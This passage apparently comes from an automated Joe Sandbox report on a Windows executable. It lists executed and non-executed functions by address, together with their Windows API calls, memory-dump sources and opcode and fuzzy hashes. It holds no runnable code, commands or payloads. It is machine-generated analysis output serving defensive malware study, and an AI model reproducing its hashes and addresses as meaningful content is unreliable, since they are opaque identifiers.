                                                                                  • Instruction Fuzzy Hash: 00D09E30408300B6D7555B20C90D75ABAF17F84745F14C43AF485514F1D7798C65E70A
                                                                                  Function 0040A9D0 Relevance: 2.5, APIs: 2, Instructions: 31memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • HeapFree.KERNEL32(00000000,?,00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000), ref: 0040AA13
                                                                                  • CloseHandle.KERNELBASE(00000000,00000000,?,?,004033E8,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000,00000800), ref: 0040AA1B
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CloseFreeHandleHeap
                                                                                  • String ID:
                                                                                  • API String ID: 1642312469-0
                                                                                  • Opcode ID: 579ea7bb730054d1301fd9c1686cb7efab9d423d292c410d1af4f5f5553bf1d6
                                                                                  • Instruction ID: 9ff7f62518d4b0577bac71a3516b051fbd3d19e36237879e48dc57cbe5217eec
                                                                                  • Opcode Fuzzy Hash: 579ea7bb730054d1301fd9c1686cb7efab9d423d292c410d1af4f5f5553bf1d6
                                                                                  • Instruction Fuzzy Hash: E0F05E32600200A7CA216B5AED05A8BBBB2EB85764B11853EF124314F5CB355860DB5D
                                                                                  Function 00402BFA Relevance: 1.6, APIs: 1, Instructions: 52COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7
                                                                                    • Part of subcall function 00409BA0: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409BB1
                                                                                  • GetShortPathNameW.KERNEL32(00948F58,00948F58,00002710), ref: 00402C34
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                    • Part of subcall function 00409B80: HeapFree.KERNEL32(00000000,00000000,00401B6B,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,?,00000000,?,00000000,00000000), ref: 00409B8C
                                                                                    • Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037
                                                                                    • Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402FED,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178
                                                                                    • Part of subcall function 0040DF50: HeapFree.KERNEL32(00940000,00000000,00000000,?,00000000,?,00411DE4,00000000,00000000,-00000008), ref: 0040DF68
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: HeapValue$AllocateErrorFreeLast$NamePathShortwcslen
                                                                                  • String ID:
                                                                                  • API String ID: 192546213-0
                                                                                  • Opcode ID: 1f36478916e75dc19802576b6717a84d5ffab4db83f33051ef68578c82d7535e
                                                                                  • Instruction ID: 7a2999830b1481a9d7ef80217fec4737815e267699ad494388d5f61b71452053
                                                                                  • Opcode Fuzzy Hash: 1f36478916e75dc19802576b6717a84d5ffab4db83f33051ef68578c82d7535e
                                                                                  • Instruction Fuzzy Hash: F6012D75508201BAE5007BA1DD06D3F76A9EFD0718F10CD3EB944B50E2CA3D9C599A5E
                                                                                  Function 0040AA40 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • WriteFile.KERNELBASE(00000000,?,?,00000000,00000000,00000000,?,0040AA08,00000000,00000000,?,?,004033E8,00000000,00000000,00000800), ref: 0040AA67
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: FileWrite
                                                                                  • String ID:
                                                                                  • API String ID: 3934441357-0
                                                                                  • Opcode ID: da5ca93210413f8561433c219da2a3ea233fc89f057aa1d005b42788aa018882
                                                                                  • Instruction ID: b59f1f917ceac4f5cea587e7357412edb8aff685aadda2d04846933fd6210d73
                                                                                  • Opcode Fuzzy Hash: da5ca93210413f8561433c219da2a3ea233fc89f057aa1d005b42788aa018882
                                                                                  • Instruction Fuzzy Hash: 0AF09276105700AFD720DF58D948F97BBE8EB58721F10C82EE69AD3690C770E850DB61
                                                                                  Function 00402BC1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • GetNativeSystemInfo.KERNEL32(00000000,?,00000000,00000000), ref: 00402BDD
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: InfoNativeSystem
                                                                                  • String ID:
                                                                                  • API String ID: 1721193555-0
                                                                                  • Opcode ID: f8bc963d6c34cd4fcee6a9003d89fae8e3dd4710dd3c612eeb78866044324f60
                                                                                  • Instruction ID: e96e1892c4c724b03879bd5233d00e0abab71770c233aa8573b83279bd435b66
                                                                                  • Opcode Fuzzy Hash: f8bc963d6c34cd4fcee6a9003d89fae8e3dd4710dd3c612eeb78866044324f60
                                                                                  • Instruction Fuzzy Hash: E6D0126081824986D750BE65850979BB3ECE700304F60883AD085561C1F7BCE9D99657
                                                                                  Function 00409BA0 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409BB1
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocateHeap
                                                                                  • String ID:
                                                                                  • API String ID: 1279760036-0
                                                                                  • Opcode ID: a9125dc5e6675f3a5c8ff565d637a643d225863b8cf5efdab1d921be1d17f71e
                                                                                  • Instruction ID: 6d87291edcf2eeb8e990bf82b01346f6326b2aefffcea0088477b931f0527044
                                                                                  • Opcode Fuzzy Hash: a9125dc5e6675f3a5c8ff565d637a643d225863b8cf5efdab1d921be1d17f71e
                                                                                  • Instruction Fuzzy Hash: 6EC04C717441007AD6509B24AE49F5776E9BB70702F00C4357545D15F5DB70EC50D768

                                                                                  Non-executed Functions

                                                                                  Function 004026B8 Relevance: 4.5, APIs: 3, Instructions: 25COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7
                                                                                  • LoadResource.KERNEL32(00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000), ref: 004026C9
                                                                                  • SizeofResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004026D9
                                                                                    • Part of subcall function 00409BA0: RtlAllocateHeap.NTDLL(00000008,00000000,00402F00,00000200,00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000), ref: 00409BB1
                                                                                    • Part of subcall function 00409C80: memcpy.MSVCRT(?,00000000,00000000,?,?,00402705,00948F58,00948F58,00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000), ref: 00409C90
                                                                                  • FreeResource.KERNEL32(?,00948F58,00948F58,00000000,00000000,00000000,00000000,00000000,00000000,00402EE4,00000000,00000000,0000000A,00000000,00000000,00000000), ref: 00402708
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Resource$AllocateFreeHeapLoadSizeofValuememcpy
                                                                                  • String ID:
                                                                                  • API String ID: 4216414443-0
                                                                                  • Opcode ID: fe55d16754670a1ac2242d55fbe1307306c78159f7c22dacc8df33dc46889b7d
                                                                                  • Instruction ID: a74944ffd3112f9905740440eb7f37d3abcacb2d1106573319e1e0e6d7d597bb
                                                                                  • Opcode Fuzzy Hash: fe55d16754670a1ac2242d55fbe1307306c78159f7c22dacc8df33dc46889b7d
                                                                                  • Instruction Fuzzy Hash: 13F07471818305AFDB01AF61DD0196EBEA2FB98304F01883EF484611B1DB769828AB5A
                                                                                  Function 0040E950 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 698COMMONLIBRARYCODE
                                                                                  Download Yara Rule
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID: D@A
                                                                                  • API String ID: 0-2037432845
                                                                                  • Opcode ID: 82bbbdca95c55e60409104e81861719bc6b7877ec7bc15acddf14cefadc8757b
                                                                                  • Instruction ID: 1e0778d192f5f23141dad884ed32409d8a0e2e34130d822a75cbeb00c40a84ce
                                                                                  • Opcode Fuzzy Hash: 82bbbdca95c55e60409104e81861719bc6b7877ec7bc15acddf14cefadc8757b
                                                                                  • Instruction Fuzzy Hash: BC428FB06047429FD714CF1AC58472ABBE1FF84304F148A3EE8589BB81D379E966CB95
                                                                                  Function 0040559A Relevance: 3.1, APIs: 2, Instructions: 128COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • GetVersionExW.KERNEL32(?), ref: 004055BA
                                                                                    • Part of subcall function 00405553: memset.MSVCRT ref: 00405562
                                                                                    • Part of subcall function 00405553: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,00000000), ref: 00405571
                                                                                    • Part of subcall function 00405553: GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00405581
                                                                                  • GetVersionExW.KERNEL32(?), ref: 00405619
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Version$AddressHandleModuleProcmemset
                                                                                  • String ID:
                                                                                  • API String ID: 3445250173-0
                                                                                  • Opcode ID: f495203579311227c63983e5ddd909674dbe6439cabb42788c76bcb90ee03a16
                                                                                  • Instruction ID: 9deb98d9ce9b1960b4761c85c685c0f6434d6ff4303ea967f2226934144b7de4
                                                                                  • Opcode Fuzzy Hash: f495203579311227c63983e5ddd909674dbe6439cabb42788c76bcb90ee03a16
                                                                                  • Instruction Fuzzy Hash: 72311F36E04E6583D6308A188C507A32294E7417A0FDA0F37EDDDB72D0D67F8D45AE8A
                                                                                  Function 00409930 Relevance: 3.0, APIs: 2, Instructions: 19COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • SetUnhandledExceptionFilter.KERNEL32(004098F0,0040116F,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070,00000008), ref: 00409A6C
                                                                                  • SetUnhandledExceptionFilter.KERNEL32(0040116F,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070,00000008,00000008), ref: 00409A80
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: ExceptionFilterUnhandled
                                                                                  • String ID:
                                                                                  • API String ID: 3192549508-0
                                                                                  • Opcode ID: be8703ea72731a37991eabb093e21ce865d6a3a52a87f86e162e98d40940aa29
                                                                                  • Instruction ID: 9241775fbeca2ef236d22ba042fa6dd18ecd55e37cf60d082ab63f5987e9b773
                                                                                  • Opcode Fuzzy Hash: be8703ea72731a37991eabb093e21ce865d6a3a52a87f86e162e98d40940aa29
                                                                                  • Instruction Fuzzy Hash: CFE0A571208315EFC310CF10D888A867AB4B748741F02C43EA02992262EB348949DF1D
                                                                                  Function 0040B347 Relevance: 2.9, APIs: 1, Instructions: 1619COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • memcpy.MSVCRT(?,?,00000040), ref: 0040B359
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: memcpy
                                                                                  • String ID:
                                                                                  • API String ID: 3510742995-0
                                                                                  • Opcode ID: e576844eda630fb24a4900eabb5141639e96436ababb831f4c7fee8327540495
                                                                                  • Instruction ID: d2e712a387542d9911dc411e7765b1f2c08275ba07bac0dbf1d1b28710e8a60d
                                                                                  • Opcode Fuzzy Hash: e576844eda630fb24a4900eabb5141639e96436ababb831f4c7fee8327540495
                                                                                  • Instruction Fuzzy Hash: 13D23BB2B183008FC748CF29C89165AF7E2BFD8214F4A896DE545DB351DB35E846CB86
                                                                                  Function 0040F3C8 Relevance: 2.1, Strings: 1, Instructions: 842COMMON
                                                                                  Download Yara Rule
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID: xAA
                                                                                  • API String ID: 0-1293610936
                                                                                  • Opcode ID: 591c47f0151abaa23838d51f7b8325d4d390fbcd3a8530dac875949f81110dcc
                                                                                  • Instruction ID: 3e0955324bacc98d649988aae549d3f33f39a3fcf449ebb2edb4fadec9577cf0
                                                                                  • Opcode Fuzzy Hash: 591c47f0151abaa23838d51f7b8325d4d390fbcd3a8530dac875949f81110dcc
                                                                                  • Instruction Fuzzy Hash: EF62AF71604B129FC718CF29C59066AB7E1FFC8304F144A3EE89597B80D778E919CB95
                                                                                  Function 00411580 Relevance: 1.6, Strings: 1, Instructions: 372COMMON
                                                                                  Download Yara Rule
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID: xAA
                                                                                  • API String ID: 0-1293610936
                                                                                  • Opcode ID: 44050466ff59d092c84ade225eb2428a111c67205446c9fc6f6a12c7b28f2e65
                                                                                  • Instruction ID: 97b3e1327a1e87a4b46b26d767485ea51a150d14d874054969dc66b926ead844
                                                                                  • Opcode Fuzzy Hash: 44050466ff59d092c84ade225eb2428a111c67205446c9fc6f6a12c7b28f2e65
                                                                                  • Instruction Fuzzy Hash: 5FD1E6716083818FC704DF28C49026ABBE2EFD9304F188A6EE9D587752D379D94ACB55
                                                                                  Function 00409950 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • SetUnhandledExceptionFilter.KERNEL32(004011C9,004011AA,00000000,00418048,00000000,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004), ref: 00409956
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: ExceptionFilterUnhandled
                                                                                  • String ID:
                                                                                  • API String ID: 3192549508-0
                                                                                  • Opcode ID: cf9cd527b89156cf826f8aca8c9aac0ae0f1dbb698b08308560a1dccda5bc85b
                                                                                  • Instruction ID: bc48fdad81fd92ebd0be0b19d5c8e3ba934b166e7abd4bc921d629b17d7e6aca
                                                                                  • Opcode Fuzzy Hash: cf9cd527b89156cf826f8aca8c9aac0ae0f1dbb698b08308560a1dccda5bc85b
                                                                                  • Instruction Fuzzy Hash: 02B0017800422ADBDB019F10EC88BC83E72B749745F93C078E42981672EB79069EDA0C
                                                                                  Function 0040C898 Relevance: .7, Instructions: 674COMMON
                                                                                  Download Yara Rule
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
                                                                                  • Instruction ID: f4dcce38d5e2b5fea8365ab6f66f10a9b642d7e6e28dacc25e9c3ad87e991d79
                                                                                  • Opcode Fuzzy Hash: 7a400b198c8088953b694fc09eb18952a69227507a418fb01e42f7223b2c6d58
                                                                                  • Instruction Fuzzy Hash: 3512C5B3B546144BD70CCE1DCCA23A9B2D3AFD4218B0E853DB48AD3341FA7DD9198685
                                                                                  Function 00410600 Relevance: .2, Instructions: 213COMMON
                                                                                  Download Yara Rule
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 7c460358eba1917bb56d4065ee02bd871fc6c6cc725e64d99fb649ce963d7fe5
                                                                                  • Instruction ID: fcc74630d9e7e7a990481c7c1f867b264d0775cdb04650b32c3420698d071277
                                                                                  • Opcode Fuzzy Hash: 7c460358eba1917bb56d4065ee02bd871fc6c6cc725e64d99fb649ce963d7fe5
                                                                                  • Instruction Fuzzy Hash: DE81E571620E52CBE718CF1DECD06B633A3E7C9320B49C638DA418779AC539E562D794
                                                                                  Function 004105E0 Relevance: .2, Instructions: 193COMMONLIBRARYCODE
                                                                                  Download Yara Rule
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 513e02c80492a0d3023dc35d6953037e38dfbd2ea3f16a7153b47b8225a4960d
                                                                                  • Instruction ID: 9051c99f30e4fd58257ce4a82e5c6de57c2f1ea08b849514de36b4a9f860707a
                                                                                  • Opcode Fuzzy Hash: 513e02c80492a0d3023dc35d6953037e38dfbd2ea3f16a7153b47b8225a4960d
                                                                                  • Instruction Fuzzy Hash: B571C3716205424BD724CF29FCD0A7633A2FBD9311B4BC73DDA4287296C238E962D694
                                                                                  Function 00410910 Relevance: .1, Instructions: 143COMMON
                                                                                  Download Yara Rule
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 2ab1992bfbf39856a5a7dba111a3cc4862fa1f22f04eab95b8f25578d2bf0e3f
